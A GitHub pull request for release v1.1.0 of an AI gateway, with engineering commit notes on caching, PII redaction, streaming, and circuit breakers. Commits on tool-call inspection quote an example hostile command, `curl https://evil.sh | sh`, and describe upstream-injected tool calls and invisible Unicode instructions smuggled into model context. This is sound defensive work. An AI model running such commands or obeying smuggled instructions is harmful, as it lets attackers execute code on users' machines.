Repository navigation
release: v1.1.0 - #36
Merged
Merged
Conversation
The five core crates were declared as `branch = "main"`, so every `cargo update` took whatever was on that branch at the time. Nothing has broken yet, but only by luck: the lock sat on `6d27617` (core v0.1.0) while core moved 127 commits to v0.29.0, and across that span the crates we consume changed by four lines in total — three `description` fields and one doc comment. There was nothing to collide with. That stops being true now. The shared layer is about to be worked on, so an unpinned branch turns every core merge into a coin flip on this build. The desktop app has always pinned a tag; this does the same. Moving the lock from v0.1.0 to v0.29.0 compiles clean across the workspace with no source changes, which is the same fact stated a second way. Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
* chore: pin core v0.32.0 and take the shared transport
Moves the pin from v0.29.0 to v0.32.0 and adds the three crates the
dialect migration needs: tw-dialect for conversion, tw-upstream for
sending a converted request (with the sigv4 feature, since Bedrock
routes are ours), tw-wire for reading usage off a stream without
buffering it.
`gateway/src/failover.rs` goes with it. It re-exported
`tw_resil::failover`, which core deleted as dead code — 582 lines with
no caller in either repository. Nothing here used it either: failover
lives in `proxy::routing::select_route_with_failover`. The only mention
left was a doc comment in the MCP gateway pointing at a type that no
longer exists.
No behaviour change. This is the version where both the old provider
adapters and the new transport exist, so the migration has somewhere to
land.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* fix(cache): key on the whole request, not three fields of it
The cache key was model + messages + max_tokens, hashed. Everything
else a caller sends — tools, tool_choice, top_p, stop, seed,
response_format — was left out, so two requests differing only there
landed in the same slot and the second got the first one's answer.
It has not bitten yet only because tools never reached an upstream:
the provider adapters dropped them (ThinkWatch-Core#50). The moment
the conversion layer is fixed, "same question, different tools" turns
into a served tool call for the wrong tool.
The key is now a fingerprint of the entire request. `extra` is
flattened into ChatCompletionRequest, so every field the caller sent is
in the bytes by construction — there is no list of fields to forget to
extend. `stream` is cleared first: it changes framing, not the answer.
It is still computed after redaction, which is right: the stored
response carries placeholders and each caller restores with their own
context, so two callers asking the same thing about their own e-mail
share one slot and each gets their own value back.
`request_for_cache` in the post-invoke snapshot becomes
`cache_fingerprint` — the deps carried the whole request only for the
key to pick three fields back out of it.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* feat: IR entry points for sending, content filtering and redaction
Groundwork for moving the handlers onto tw-dialect. Nothing calls these
from a request path yet; each has tests and each is the piece a handler
needs once it holds an intermediate representation instead of a
ChatCompletionRequest.
`proxy::transport` sends a converted request. A Prepared already is
the bytes the upstream should see, so all that is left is spelling the
URL — the dialect's path for most, a deployment in the URL for Azure,
a region-derived host plus a SigV4 signature for Bedrock. Signing
happens last, over the final body.
`ContentFilter::check_request` and `PiiRedactor::redact_request` do
what their Value-based siblings do, over a structure that is known
rather than guessed. The guessing versions look for a `text` field on
array elements and so never see what sits inside a tool result — which
is where an injected instruction, or a customer's data pulled in by a
tool, actually lives. Both new entry points recurse into it.
The system prompt is deliberately not redacted: it is written by the
operator, not typed by the caller, and redacting it rewrites the
operator's instructions.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(cache): a request that must not be cached has no fingerprint
Collapsing get/set onto a fingerprint dropped the temperature check that
used to open both of them. Requests sampled at a nonzero temperature
started being cached — asking for a fresh draw and getting someone
else's answer. The integration suite caught it
(temperature_nonzero_request_is_not_cached).
The check now decides whether a fingerprint exists at all. No
fingerprint, no key, nothing to look up or store — so the next refactor
of get/set cannot lose it again.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* refactor: drop two provider decorators nothing uses
`prefix_balancer` (routes by prompt-prefix hash for KV-cache reuse on
self-hosted backends) and `channel` (named provider endpoints with
priority and weight) are declared in lib.rs and used nowhere — not in
the gateway, not in the server, not in any test. Routing lives in
`router` and `proxy::routing`.
Both implement `DynAiProvider`, the trait the dialect migration is
retiring. Porting 813 lines of decorator that no request passes through
would be work spent on keeping dead code compiling.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* feat: redaction and response shaping that work on raw bytes
The dialect migration forwards a same-format request untouched — that
is the only way `cache_control`, server tools and metadata survive,
since the intermediate representation carries none of them. So
redaction and restoration can no longer assume a typed request and
response. These are the pieces that work on what actually goes over
the wire.
Redaction: PII is still found on the intermediate representation,
where the structure is known, and `RedactionContext::apply_to` carries
the value→placeholder mapping onto the raw request. It works on the
parsed Value rather than the bytes, because a client may send `@` as
an escape sequence; it replaces longer values first; it leaves `data`
and `bytes` alone, since changing a digit run inside base64 changes an
image, not PII.
That mapping has to be a function, so the same value now gets the same
placeholder. It also means a model no longer sees one e-mail address
as two people.
Restoration of a whole response happens on the bytes, with each
original JSON-escaped — a value containing a quote would otherwise
break the document.
Streams cannot be restored on bytes: a placeholder split across two
frames is not contiguous, the frame boundary sits in the middle of it.
`StreamShaper` works per frame on the text field of whichever format
it is, holding back an unclosed `{{` until the rest arrives, and
releasing a held tail as its own delta before the block closes rather
than after. It also puts the caller's model name back on every frame:
all formats keep it at the top level, under `message`, or under
`response`, so it needs no per-format branch.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* feat: the transport owns the client policy, the status mapping and the protocol enum
Three things lived in tw-provider only because the adapters did, and
none of them is about converting anything:
- the HTTP client policy: 10s to connect, 300s overall, no redirects.
Refusing redirects is the SSRF guard — `base_url` is typed in by an
admin, and a provider answering 302 to the metadata address would
otherwise walk gateway traffic there.
- the mapping from an upstream status to the caller's error, including
truncating error bodies that have carried stack traces and account
ids.
- `UpstreamProtocol`: the strings `model_routes.upstream_protocol`
stores, keyed on this gateway's `provider_type` values. It gains a
mapping to the conversion layer's dialect.
The transport now sends raw bytes to a path rather than a Prepared, so
a same-format request forwarded untouched goes through the same door
as a converted one.
Bedrock's host is built from the region the provider row keeps in
`base_url`; an earlier draft treated that field as a host suffix, and
its test was written to the same wrong assumption.
Header templating uses `tw_types::substitute_template` instead of a
second hand-written copy.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* feat!: forward what can be forwarded, convert only what must be
The three generation endpoints now share one pipeline, and it no
longer rebuilds every request as a chat-shaped DTO.
A request whose route speaks the caller's own format goes out as the
caller sent it — the model name changed, PII swapped for placeholders,
nothing else. A request crossing formats is decoded and re-encoded by
tw-dialect, which reports what the target cannot carry.
## What the DTO was losing
Anthropic to Anthropic, with the request Claude Code actually sends,
the upstream received:
{"max_tokens":16,"messages":[{"content":"hi","role":"user"}],
"model":"…","stream":false}
`system` was read with `as_str()`, which is `None` for the array form,
so Claude Code's whole system prompt was dropped. So were its tools,
`tool_choice`, `metadata` and every `cache_control` breakpoint — the
last one turning each cached prefix back into full-price input. The
`/v1/messages` and `/v1/responses` handlers also hardcoded
`extra: json!({})`, discarding everything the DTO did not model, and
the chat handler's `extra` reached the adapters only to be dropped
there (ThinkWatch-Core#50).
Same-format requests cannot go through the conversion layer either:
its intermediate representation has no place for `cache_control`,
server tools or `metadata`. Hence forwarding.
## What moved where
- The request is still decoded once, to know where the caller's text
is. The content filter and PII detection read that — including text
inside tool results, which the Value-guessing versions never saw. The
found PII is carried back onto the raw request.
- A same-format request carries the caller's `anthropic-*` headers: its
body may use a beta feature, and without the header the upstream
refuses what used to work. Anthropic-bound requests always get
`anthropic-version`, which the old adapter hardcoded and the API
requires — the mock does not check it, so a test pins it.
- Responses are handled as the caller's bytes. Usage is sniffed off
the upstream's own bytes by tw-wire, so a streamed response no longer
keeps every chunk in memory for an accounting pass at the end — the
field doing that was documented as unused. The model name goes back
to the caller's alias, whole and per frame. PII is restored on a
whole body in one pass, and per frame on the text field for a stream,
since a placeholder split across two frames is not contiguous.
- The upstream call of a stream happens on the stream's first poll, so
headers go out at once and a caller who leaves during the wait is
still recorded as cancelled. A rejected dialect is retried inside
that same call, before any byte reaches the caller — which made the
old "peek the first item" machinery unnecessary.
- Routes share one upstream per provider instead of one adapter per
(provider, dialect): only the format changes between alternates.
- The protocol probe encodes its request with the same layer as live
traffic, so "the probe passed, forwarding fails" has nothing to hide
behind.
- Output guardrails read the assistant text in whichever format the
caller asked for; `max_length` still counts bytes, as it always has.
## Accounting
Prompt tokens are now counted the same for every upstream: plain input
plus cache reads and writes, OpenAI's definition. Anthropic's own
`input_tokens` excludes cached tokens, so routes to Anthropic will
record more prompt tokens than before for the same work. The price
model still charges every prompt token alike; pricing cache tokens
separately is a decision of its own.
## Removed
`providers/` and the tw-provider dependency, the three handlers,
`streaming.rs`, `token_counter.rs` and the character-count fallback
that used it, `redact_messages` / `restore_response`, the old
`ContentFilter::check`.
Integration suite (`make test-it`, run locally against Postgres, Redis
and ClickHouse): 225 passed, 22 failed — the same 22 that fail on dev
before this change.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* refactor: use core directly, declared once at the workspace root
Seven files did nothing but re-export core (`crypto`, `json_secret`,
`retry`, `cb_registry` in common; `metrics_labels`, `sse_parser`,
`transform` in gateway), plus a `pub use` of `retry` in gateway's lib.
They let the tree keep compiling while code moved to core. It has
moved; every call site now names the core crate it uses, and the shims
are gone. `sse_parser` and `transform` had no callers at all, so
tw-protocol is no longer a dependency.
The core crates are declared once, in `[workspace.dependencies]`,
pinned to one tag. Each crate says `{ workspace = true }`, so a core
release is a one-line bump instead of six.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix: read Bedrock's stream, and bill it on what Bedrock reported
Bedrock's ConverseStream is AWS eventstream, not SSE. The provider
adapter used to unframe it by hand; since the pipeline started
forwarding bytes, nothing did, and the converter, the usage sniffer
and the collector were all reading binary frames as if they were SSE.
A streamed Bedrock answer came out empty.
The pump now unframes a Bedrock stream at the door with core's
`tw_upstream::eventstream::Transcoder` (CRC checked, frames cut
anywhere held until whole). Everything after it reads the same SSE it
reads from every other upstream. An exception Bedrock sends mid-stream
(throttling, say) ends the stream with an error in the caller's
format, as a broken connection already did.
Core v0.35.0 also teaches the usage sniffer Converse's camelCase
counts. Before, every Bedrock call, streamed or not, found no usage
and was billed on an estimate.
Pins core v0.35.0; tw-upstream's `sigv4` feature is now `bedrock`.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
…om core (#27) tw-resil turned out to be server-edition code parked in the MIT repository. The desktop gateway uses none of it: `retry` has no caller in either tree, and `cb_registry` and `metrics_labels` are read and written only here. "Shared" code with one user is a second place to change things, not a shared one. - `cb_registry` returns to `think-watch-common`, which both gateways and the dashboard already depend on. - `metrics_labels` returns to the gateway, its only user. - The `retry` re-export in the gateway's lib.rs had no callers; gone. tw-resil is no longer a dependency, so core can delete it. `health.rs` gains a note on why it is not merged with core's breaker: this one is shared across replicas through Redis and trips on an error rate; the desktop one is in-process, trips on consecutive failures and fails open. Opposite premises, so there is no abstraction to share. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…ents too (#28) The server edition had its own copy of everything the desktop gateway already does for redaction: matching, one placeholder per value, holding back a split placeholder in a stream, restoring it frame by frame. It had drifted twice over. tw-guard (core v0.37.0) is now the one engine, with our patterns and our `{{EMAIL_1}}` scheme. - `think_watch_common::pii` is the single home of the pattern config and the at-rest redactor. `PiiPatternConfig` existed twice (common and gateway) and `redact_blob` twice; both copies are gone. - `PiiRedactor` keeps what only an in-flight redactor needs: which parts of a decoded request to look at, `apply_to` to carry the values onto the raw request, `restore_body` for a whole response. Matching is `scan_text`: patterns run on the decoded text as written, and restoring into JSON escapes what it puts back. - `PiiRedactor::new()` hard-coded the six seed patterns a second time for tests; tests now build from the same list `db/seeds.sql` ships. - The stream shaper restores through core's `FrameRestorer`, one lane per content block or tool call. **Tool-call arguments are restored now**: a model asked to email `a@x.com` used to call the tool with `{{EMAIL_1}}` as the address. - Saving a pattern compiles it exactly as the redactor will, and the placeholder prefix must be letters, digits or underscores; a brace in it would make a placeholder indistinguishable from text. - The admin "try patterns" endpoint reads the label up to the last underscore, so `CUSTOM_EMAIL` is no longer reported as `CUSTOM`. `GatewayError::PolicyBlocked` (new in core) maps to 403 `policy_blocked`. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* feat: inspect the tool calls an upstream returns
An upstream writes the response, so it can hand the caller a tool call
the model never made — `bash("curl https://evil.sh | sh")` appended to
an ordinary answer. An agent in auto-approve runs it; a human approving
tool calls by the dozen waves it through. The desktop gateway has
guarded against this for months; the server edition had nothing.
It now runs the same inspection, from thinkwatch-core's tw-guard: a
built-in set of dangerous-command rules, each of which an admin can
switch off or re-grade, plus rules of their own.
- **Settings**: `security.tool_inspection` — mode (off / observe /
enforce), built-in rules switched off, actions that differ from the
factory ones, custom rules. **Observe by default**: it changes nothing
on the wire and records every hit, so an operator sees what enforce
would cut before turning it on. Hot-reloaded like the content filter
and PII patterns; the validator refuses unknown built-in ids,
duplicate or empty names and patterns that do not compile.
- **Streams** are inspected on what the client is about to receive —
converted, if it was — and in enforce mode cut at the frame that would
complete a matching call. What the model said before it still goes
out; an incomplete call cannot be executed. The refusal ends the
stream in the caller's format, and the converter's final bytes are
inspected too, since they can close a tool block.
- **Whole responses**, and cache hits, are inspected before anything
has gone out and refused with 403 (`GatewayError::PolicyBlocked`).
Like an output-guardrail refusal, a refused answer is neither cached
nor billed; the route's health counts it as a success, since the
upstream did nothing wrong.
- **Every hit** is an audit-log event, `gateway.tool_call_flagged` or
`gateway.tool_call_blocked`, attributed to the caller, with the rule,
the tool and a truncated excerpt (placeholder form where PII was
redacted), plus a `gateway_tool_call_flagged_total` counter.
- **Admin**: `GET /api/admin/settings/tool-inspection/rules` lists the
built-in rules; `POST …/tool-inspection/test` runs a sample against
the config being edited. The security page gains a card for it (mode,
built-in rules with a switch and an Enforce action each, custom rules)
and a third sandbox tab.
Pins core v0.38.0 for the rule fix it depends on: rm-rf-root and
crontab-install now match where a command ends inside the arguments'
JSON, which this change's own unit test caught.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* docs(gateway): say why body capture is not shared with the desktop gateway
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* chore: pin core v0.38.0
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Each integration test links the whole workspace into its own binary, and with full debug info target/ grew to ~150 GB in a day. Line tables keep file:line in backtraces at a fraction of the size. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…uests (#31) The AI gateway's route health and the MCP gateway's server breaker each carried their own state machine, and the desktop gateway a third. They now all run thinkwatch-core's tw-breaker; what differs between them — where the state lives, what trips it — stays with each. Route health (Redis, shared by replicas, tripped by an error rate): - One Lua call inserts the sample, trims and tallies the window and reads the breaker; the transition is computed from that tally with the shared machine and written back only when it changes, by compare-and-set, so two replicas that read the same state cannot both write. - **A tripped route came back only when its Redis key expired.** It moved from open to half-open only when a request on it completed, and an open route is never picked. A cooled breaker now reads as half-open, the next request probes it, and a success closes it. The new integration test fails on dev with "All routes failed" after the cooldown. - The router and the route-health page read one `CircuitBreakerConfig`. With the breaker disabled, a route reads as closed instead of keeping whatever state it last had. MCP breaker: the same machine in process, keyed by server id, transitions mirrored to the dashboard registry as before. Its API is synchronous now. Dashboard: **every AI provider read `Closed`** — the registry it looked in is process-local and only the MCP breaker wrote to it. AI rows now read their routes' real state from Redis, a provider showing its worst route. Hidden characters: Unicode tag characters carry an instruction invisibly into the model's context, and bidi overrides make text read differently on screen than it is. `security.hidden_text` (off / log / warn / block, default warn) checks the caller's messages and the tool results inside them — where a fetched page smuggles one in — using tw-guard's scanner. Only those two kinds are flagged: zero-width joiners make emoji, Persian needs the non-joiner, Cyrillic is Russian. Warn writes `gateway.hidden_text_flagged` to the audit log; block refuses with 403 and writes `gateway.hidden_text_blocked`. The security page gets a card. Pins core v0.40.0. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
22 of the ignored integration tests had been failing on dev. Most were tests that fell behind the code; one was a real gap. The gap: webhook and Kafka delivery, and several admin handlers, called `validate_url` directly instead of the injectable `AppState.url_validator`, so a test could not point them at a loopback mock. The validator type now lives in `common::validation`; the audit forwarder registry and the outbox drain carry it, and every handler goes through `state.url_validator`. Tests brought up to date with the code: - webhook signatures are HMAC over `<timestamp>.<body>` - settings written straight to the database need a config reload (`TestApp::set_setting`) - MCP namespace prefixes fit in 32 characters - costs are decimal strings - the TOTP SSO fixture satisfies `chk_users_auth_method` - a truncated body still records its original size - OIDC setup goes through the draft; a second signing key needs a fresh login; the OpenAPI probe posts the login route without minting PoW Tests that saved a real public hostname no longer resolve it: DNS hiccups made them flaky. `spawn_reaching_loopback` covers both cases. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
`successful_login_decays_subnet_failure_counter` failed about one run in a hundred. The test client's PoW grinder gave up after 10M nonces, and at difficulty 21 (mean 2^21 tries, geometric) that cap is hit with probability e^-4.77. The cap is now 32 times the mean, and a difficulty above 26 is refused up front as a misconfiguration. `drain_drops_row_after_max_attempts` raced the server's own outbox drain, which ticks every 10s: when the tick claimed the due row first, the test's pass found nothing and the row was still leased at the assertion. `TestApp::drain_outbox` makes a forwarder's rows due, drives a pass and waits until each row has been attempted, whichever drain claimed it. All four outbox tests use it. The outbox tests also reach the loopback receiver now; before, their 500s came from the SSRF guard refusing it. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
A Chat stream forwarded as sent reached the upstream without `stream_options.include_usage` unless the caller had set it. The upstream then reports no usage, and the request was recorded as zero tokens: no quota, no budget debit, no cost. 1.0.2 estimated the count in that case; the estimate went with the old pipeline in #26, and nothing took its place. A Chat stream now always asks the upstream for its usage. When the caller did not, the shaper takes it back out of what the caller receives: the trailing usage-only chunk, and the `"usage": null` the upstream adds to every other chunk once asked. The sniffer reads the upstream's own bytes before the shaper, so billing sees the real count. Converted streams already asked for usage and write the caller's chunk only when the caller wanted it. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
See CHANGELOG.md [1.1.0] for the full notes.
🤖 Generated with Claude Code